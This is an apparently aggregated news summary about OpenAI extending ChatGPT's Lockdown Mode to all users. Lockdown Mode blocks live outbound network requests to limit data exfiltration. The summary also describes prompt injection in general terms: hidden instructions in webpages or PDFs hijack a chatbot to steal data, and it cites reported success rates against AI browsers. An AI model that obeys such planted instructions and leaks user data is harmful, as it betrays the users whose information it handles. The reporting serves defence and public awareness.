ChatGPT Lockdown Mode rolls out to all users to combat prompt injection attacks and data theft
11 Sources
[1]
How ChatGPT's new Lockdown mode protects you from data theft (and what else it does)
Follow ZDNET: Add us as a preferred source on Google. ZDNET's key takeaways * Lockdown mode aims to prevent data theft from attackers. * This mode is now available to all ChatGPT users. * It does limit what you can do on the live web. AIs can be vulnerable to different security threats. And
[2]
OpenAI Rolls Out Lockdown Mode to Fight Prompt Injection Attacks
The new feature promises increased protection against these types of attacks, but you'll have to sacrifice a lot of functionality, including live web browsing and image retrieval from the web. As LLM use has skyrocketed in recent years, researchers are increasingly identifying prompt injection
[3]
ChatGPT just gave Free users a powerful defense against prompt injection attacks
* OpenAI's Lockdown Mode blocks live outbound network requests to stop LLM hijacking attempts. * It disables or limits features that make external calls, trading some functionality for privacy. * Lockdown Mode is now rolling out to Free, Plus, Pro, Go, and self-serve Business ChatGPT
[4]
OpenAI rolls out a Lockdown Mode for extra protection against prompt injection attacks - Engadget
OpenAI has begun rolling out Lockdown Mode, an optional security setting designed to offer users advanced protection from prompt injection attacks. For the unfamiliar, prompt injection is a form of social engineering that is specific to conversational chatbots. As AI systems have become better at
[5]
ChatGPT can be hijacked without you knowing. Lockdown Mode is the fix
Lockdown Mode restricts features like live web browsing and Deep Research across all ChatGPT plans, though OpenAI acknowledges risks from uploaded files remain. OpenAI has launched a new security feature in ChatGPT called Lockdown Mode, designed to provide additional protection against so-called
[6]
The best new ChatGPT feature is one most people will never use
For years, the biggest conversation around AI has been what these tools can do. They can browse the web, analyze documents, connect to your apps, conduct research, and increasingly act on your behalf. But as AI systems become more capable, another question has become harder to ignore: what happens
[7]
OpenAI Says New Lockdown Mode Can Help Prevent Sensitive Data Leaks
Lockdown Mode cannot be used simultaneously with Developer Mode OpenAI has announced a new security feature for ChatGPT to safeguard users and organisations from prompt injection attacks. Dubbed Lockdown Mode, it is an optional setting within the AI chatbot that is claimed to protect sensitive
[8]
OpenAI rolls out Lockdown Mode for users handling sensitive information
OpenAI has launched Lockdown Mode to combat prompt injection attacks, a security feature designed for users handling sensitive data. This mode restricts live web browsing and image retrieval from the internet, aiming to prevent data exfiltration by limiting outbound network requests. It is
[9]
Inside ChatGPT's New Lockdown Mode: Is Your Data Safer?
Sam Altman's OpenAI tops the headlines with the announcement of its new security mode, called Lockdown mode. In the same vein of "security," the AI product is receiving mixed reactions from techies. * Make Telecom Talk My Trusted Source OpenAI's Lockdown Mode - What Does it Do? As per the
[10]
OpenAI Unveils Lockdown Mode to Protect Data from Prompt Injection Attacks
The issue of prompt injection attacks has been discussed for several months now with cybersecurity experts warning of massive data thefts via this vulnerability Six months after cautioning the world about the dangers of a potential prompt injection attack on AI browsers, including its own ChatGPT
[11]
OpenAI Rolls Out Lockdown Mode to Reduce Prompt Injection Risks
OpenAI has begun rolling out a new security feature called 'Lockdown Mode' across its products, making the feature available to eligible Free, Go, Plus, Pro, and self-serve ChatGPT Business accounts. The company said the optional setting targets people and organisations that handle sensitive
Share
Copy Link
OpenAI has expanded its ChatGPT Lockdown Mode to all users, including free tier accounts, offering enhanced protection against prompt injection attacks that could steal sensitive data. The optional security setting restricts outbound network requests to prevent data exfiltration, though it limits features like live web browsing, Deep Research, and Agent Mode. While the feature doesn't stop prompt injections entirely, it acts as a final defense layer by blocking ChatGPT from sending information to attackers.
ChatGPT Lockdown Mode Expands to All Users
OpenAI has rolled out ChatGPT Lockdown Mode to all users across Free, Go, Plus, Pro, and self-serve Business accounts, marking a significant expansion of a security feature initially launched in February 2025 for Enterprise, Edu, Healthcare, and Teachers plans
1
3
. This optional security setting addresses the growing threat of prompt injection attacks, which researchers increasingly identify as a critical AI security vulnerability with attacks growing in prevalence year-on-year2
. The feature is designed specifically for people and organizations handling sensitive data who need stricter protection from data exfiltration risks related to prompt injection4
.
Source: TelecomTalk
How Prompt Injection Attacks Threaten Data Privacy
Prompt injection attacks represent a form of social engineering specific to conversational chatbots and LLM systems
4
. Bad actors hide malicious instructions inside content that AI processes—such as webpages, PDF files, or other materials—attempting to hijack the AI and extract valuable company data or personal information2
3
. These attacks have already demonstrated real-world impact: researchers at Anthropic compromised Claude for Chrome browser extension users with a 23.6% success rate via prompt injections in August 2025, while Brave researchers showed Perplexity's Comet AI browser was similarly vulnerable2
. By feeding malicious commands into prompts, attackers could infiltrate chats, access external files and services, and steal personal data—all without the user knowing1
.
Source: ET
How Lockdown Mode Restricts Outbound Network Requests
To protect users from data theft, ChatGPT Lockdown Mode limits outbound network requests to the internet or external file services, preventing live sensitive information from falling into attackers' hands
1
. When enabled, the feature prevents ChatGPT from making live outbound network requests, acting as a final line of defense that stops the LLM from sending personal data to attackers even if malicious prompts successfully hijack the system3
2
. OpenAI positions this as building on robust protections already offered through ChatGPT, its models, and backend systems4
. However, the company acknowledges that while the feature is designed to substantially reduce the risk of successful prompt injection-based data exfiltration, it does not guarantee protection against newly discovered techniques or combinations of methods2
.Related Stories
Trade-offs for a Secure ChatGPT Experience
Enabling this optional security setting comes with significant functional limitations. Live web browsing is restricted to cached content only, meaning search results may be out of date or unavailable
1
2
. ChatGPT cannot display images in regular responses or retrieve images from the web, though users can still upload their own images and generate new ones1
4
. Deep Research and Agent Mode are completely disabled1
5
. Canvas-generated code cannot access the network, and ChatGPT cannot download files for data analysis, though manually uploaded files can still be processed1
2
. OpenAI notes the mode doesn't change memory, file uploads, conversation sharing capabilities, or whether conversations may be used to improve models4
.
Source: ZDNet
What This Means for Handling Sensitive Data
OpenAI emphasizes that Lockdown Mode is not intended for everyone but specifically for users and organizations handling sensitive data who want a more conservative ChatGPT experience when working with confidential information or connected features
3
4
. The feature doesn't prevent actual prompt injection attacks from occurring—hackers could still infect prompts with malicious instructions that tap into cached web content or uploaded files1
. Users can enable the feature by navigating to Settings, selecting Security, and turning on Lockdown Mode under Advanced Security1
3
. The feature is currently rolling out and may not yet be accessible to all accounts1
5
. Separately, OpenAI is rolling out an active session manager that allows users to see devices or browsers accessing their account, with the option to log out of individual or all sessions at once4
.References
Summarized by
Navi
[4]
Related Stories
OpenAI launches Advanced Account Security for ChatGPT with hardware keys and passwordless login
30 Apr 2026•Technology
OpenAI patches critical ChatGPT and Codex security vulnerabilities exposing user data and tokens
30 Mar 2026•Technology
ChatGPT vulnerability exposed as ZombieAgent attack bypasses OpenAI security guardrails
08 Jan 2026•Technology
Recent Highlights
1
AI Leaders Warn UN Security Council of Existential Risks, Call for Global AI Governance
Policy and Regulation
2
OpenAI AI Agent Breaches Australian Government Healthcare Portal in Historic Hack
Technology
3
Bill Gates Warns AI Could Cause a Billion Deaths, Calls for Urgent Government Regulation
Policy and Regulation
Recent Highlights
Today's Top Stories
Don’t drown in AI news. We cut through the noise - filtering, ranking and summarizing the most important AI news, breakthroughs and research daily. Follow topics that matter to you and stay ahead.
